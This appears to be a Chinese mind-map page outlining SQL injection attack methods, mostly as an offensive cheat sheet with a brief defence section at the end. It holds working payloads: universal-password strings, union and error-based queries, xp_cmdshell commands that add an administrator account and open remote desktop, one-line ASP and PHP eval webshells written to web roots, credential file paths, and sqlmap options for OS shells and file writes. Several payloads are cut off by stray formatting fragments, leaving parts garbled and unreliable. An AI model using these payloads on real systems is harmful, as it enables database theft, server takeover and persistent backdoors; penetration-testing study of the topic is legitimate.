SQL 注入
2021-11-26 23:15:27 1 举报
AI智能生成
常见SQL 注入流程
作者其他创作
大纲/内容
注入产生的原因是接受了相关参数未经处理直接带入数据库查询操作;注入攻击属于服务注入漏洞的检测方式,它与操作系统,数据库类型,脚本语言无关。和人有关
单引号’ 或 and 1=1 和 1=2
注入漏洞的检测方式
http://www.***.com/888.asp?id=xx (ASP注入)
http://www.***.com/888.php?id=xx (PHP注入)
http://www.***.com/888.jsp?id=xx (JSP注入)
http://www.*****.com/***.aspx?id=xx (aspx注入)
与数据库交互的相关界面
登录界面;更新信息界面;注册界面;留言板 查询 删除等
把http header 直接代入数据库
http header 注入
数据参数写入到cookice参数里面
cookie 注入
http头 ;cookices;referee;user agent;post 提交数据包的地方
可能出现的地方
如何查找注入点
注入攻击原理
or 1=1
ID 参数为数字
数字型(post)
ASP的万能密码是'or'='or'
PHP的万能密码是'or 1=1#*
ID 参数为字母
字符型(get)
带百分号select *from 表名 where 字段名 like '%(对应值)%‘ 例:mysql> select * from member where username like‘%vince%' or 1=1 #%;
搜索型
由于SQL 语句拼接方式不同 产生的 :username = ('xx') or 1=1#;
xx型
注入类型
地址栏可以看见参数
get 提交
通过burp抓包
post 提交
当打开GET或者POST界面时,发现有注入防范,通过burp抓包,可以把GET或者POST参数写入到COOKIE里面进行注入,(前提是接受用户参数的地方是Request,并未对COOKIE进行防范)
cookie 提交
user-agent / xss / referer / IP { User-Agent :payload Mozilla'font color=\"#ff0000\
HTTP head 头 提交
中间件加载了伪静态插件代码。其实不是真正的静态页面。
伪静态注入
注入提交方式
font color=\"#ff0000\
(union操作符一般与order by 语句配合使用)
union 注入(联合查询)
1:获取数据库表名 font color=\"#ff0000\
2:获取数据库字段名 pikachu数据库的字段名,输入:font color=\"#ff0000\
3:最后获取字段值的内容,输入 font color=\"#ff0000\
能快速查询出所有数据库内容, 一般会配合联合查询, 不单独使用
information _ schema 注入 (只支持MySQL 数据库 系统大于5.0)
爆数据库版本信息
爆数据库当前用户
爆数据库
输入font color=\"#ff0000\
获取数据库表名,输入:font color=\"#ff0000\
爆表
获取字段名,输入:font color=\"#ff0000\
爆字段
获取字段内容,输入:font color=\"#ff0000\
爆字段内容
荷载注入
爆表名
爆列名
爆内容
insert (插入)注入
delete from message where id=56 font color=\"#ff0000\
delete (删除)注入 一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入
updatexml 注入 (是MySQL对XML 文档数据进行查询和修改的XPATH函数)
extractvalue 注入 (是MySQL对XML 文档数据进行查询的XPATH函数)
floor 注入 (MySQL 中用来取整的函数)
基于函数报错注入( 因后台没有屏蔽数据库报错信息, 在语法发生错误时 会输出在前端 )在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息
输入语句font color=\"#ff0000\
基于boolian布尔型SQL 盲注
基于堆叠型 WAITFOR DELAY '0:0:5'--
基于时间的延迟,构造一个拼接语句:font color=\"#ff0000\
vince' and sleep (x) #
基于base on time时间型SQL 盲注
子主题
基于报错型SQL 盲注
盲注
跟GBK 字体有关, %df' or 1=1 注意二次转义
宽字节注入当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),\"(双引号),\\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。
注入攻击支持类型
手工猜测 and exists (select * from users) / 工具 pangolin 穿山甲
猜测数据库表名
手工猜测 and exists (select password from administrator)
猜测数据库字段名
手工使用ASCll 码查询
猜测数据库字段内容
order by
SQL 注入中的高级查询
偏移注入
跨库查询
Access 数据库
and exists (select * from sysobjects)页面返回正常,则说明为MsSQL注入点
一:检查是否是MySQL数据库
and system_user=0
二:查询当前数据库库名
MySQL数据库2000年之前的版本默认打开,2000之后版本被禁用and 1=(Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
恢复 xp_cmdshell 可用 font color=\"#ff0000\
恢复 xp_regwrite 可用 font color=\"#ff0000\
四:判断一下xp_cmdshell(执行操作系统命令)储存过程是否存在
创建账号;exec master..xp_cmdshell 'net user test/add'
查看 net user test
添加管理员组 exec master..xp_cmdshell 'net locaigroup administrators test/add'
五:添加账号
操作注册表font color=\"#ff0000\
六:打开3389端口 支持远程桌面连接
①SA 最高权限
1:通过 报错信息 或者baidu google 曾经报错信息 威胁情报等信息查找
删除不存在的表 再创建一个 font color=\"#ff0000\
查找数据并插入到数据库表中 ;insert into black exec master..xp_cmdshell 'dir /s c: \\1.aspx '--
查询id=1的结果 and (select result from black where id=1)>0--
2:通过相关语句查询
四:找出网站路径
插入一句话木马 %20;exec%20master..xp_cmdshell%20'Echo%20\"<%eval%20request(\"chopper\")%>\"%20>>%20c:\\wwwtest\\iis-xxser.com--wwwroot\\muma.asp'--
master..xp_cmd(使用菜刀)
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\\wwwtest\\iis-xxser.com--wwwroot\\yjh.asp';alter database testdb set RECOVERY simple
差异备份(使用 Getwebshell)
五:注入反向木马webshell
②dbowner
and db_name()=0--
四:获取当前数据库名称:
五:获取Mssql所有数据库名和路径:
and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
六:获取当前数据库所有表名:
having 1=1--
group by admin.id having 1=1--
group by font color=\"#ff0000\
七:爆破表明及字段名:
八:获取字段内容:
③public
三: 检查注入点权限and 1=(select IS_SRVROLEMEMBER('sysadmin')) / and 1=(select is_srvrolemember('db_owner')) /and 1=(select is_srvrolemember('public'))
Mssql数据库
MySQL 4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。
mysql 4 版本及以下
MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。通过dumpfile/outfile函数导出获取WebShell。
mysql 5 版本及以上
版本区别
数据库最高权限用户是root 密码保存在mysql数据库的user表中,密码是采用mysql5特有的加密,通过cmd5网站进行解密或通过cain等这类专业可以对mysql hash破解.所以对数据库做安全的时候无论如何不能给网站root 权限,一定要给一个普通用户权限。
mysql用户密码储存位置
一:检查注入点' 与 and 1=1 / and 1=2
三:union select font color=\"#ff0000\
常见WINDOWS下配置文件:c:/windows/php.ini //php配置信息c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码c:\\mysql\\data\\mysql\\user.MYD //存储了mysql.user表中的数据库连接密码c:\\windows\\system32\\inetsrv\\MetaBase.xml 查看IIS的虚拟主机配置d:\\APACHE\\Apache2\\conf\\httpd.confc:\\windows\epair\\sam //存储了WINDOWS系统初次安装的密码
LUNIX/UNIX 下:/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件/usr/local/apache2/conf/httpd.conf/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置/usr/local/app/php5/lib/php.ini //PHP相关设置/etc/sysconfig/iptables //从中得到防火墙规则策略/etc/httpd/conf/httpd.conf // apache配置文件/etc/rsyncd.conf //同步程序配置文件/etc/my.cnf //mysql的配置文件/etc/redhat-release //系统版本/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
获取web路径的方法
1:需要知道web站点 远程目录
2:需要mysql root 权限
3:需要远程目录有写权限
4:需要数据库开启secure_file_priv 相当于secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改php.ini配置文件)
八:对服务器文件进行读写操作(前提条件)
union select \"<?php @eval($_POST['123']);?>\
十:写webshell获取权限
mysql注入流程
Mysql 数据库
数据库手工注入流程
指定参数post注入 sqlmap.py -r post.txt -p 注入参数
-r
get注入 sqlmap.py -r
-u
–-level= 3 (LEVEL)
--risk=3 (RISK)
ERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。
-v
-p 后面接参数,针对单个参数注入 id=1 -p
-p
线程数,如果你想让sqlmap跑的更快,可以更改这个线程 数的值,默认值为10
-threads
智能判断测试
-batch-smart
模拟测试手机环境站点
--mobile
批量注入
-m
--dbs //默认情况系sqlmap会自动的探测web应用后端的数据库类型:MySQL、Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2--current-user:大多数数据库中可检测到数据库管理系统当前用户--current-db:当前连接数据库名--is-dba:判断当前的用户是否为管理--users:列出数据库所有所有用户
注入获取数据命令
--tables -D 数据库名
获取表名
--columns -T user -D abc
字段名
-T user -C font color=\"#0000ff\
数据内容
--file-read /etc/password
读文件内容
--os-shell
系统交互的shell
--file-write \"c:/3.txt” --file-dest “C:/phpStudy/WWW/3.php” -v1 /*将/software/nc.exe文件上传到C:/WINDOWS/Temp下*/
写webshell
--tamper \"\"
sqlmap绕过waf(网络应用防火墙)通过python 脚本
sqlmap工具
开启函数过滤
直接下载相关防范注入文件,通过incloudbaoh包含放在网站的配置文件中
PDO 预处理:http://www.php.cn/course/868.html
代码层面
通过WAF设备启用防止SQL 注入策略
云端防护 阿里云盾 / 360网站卫士
网络层面
注入 防御
SQL 注入
0 条评论
回复 删除
下一页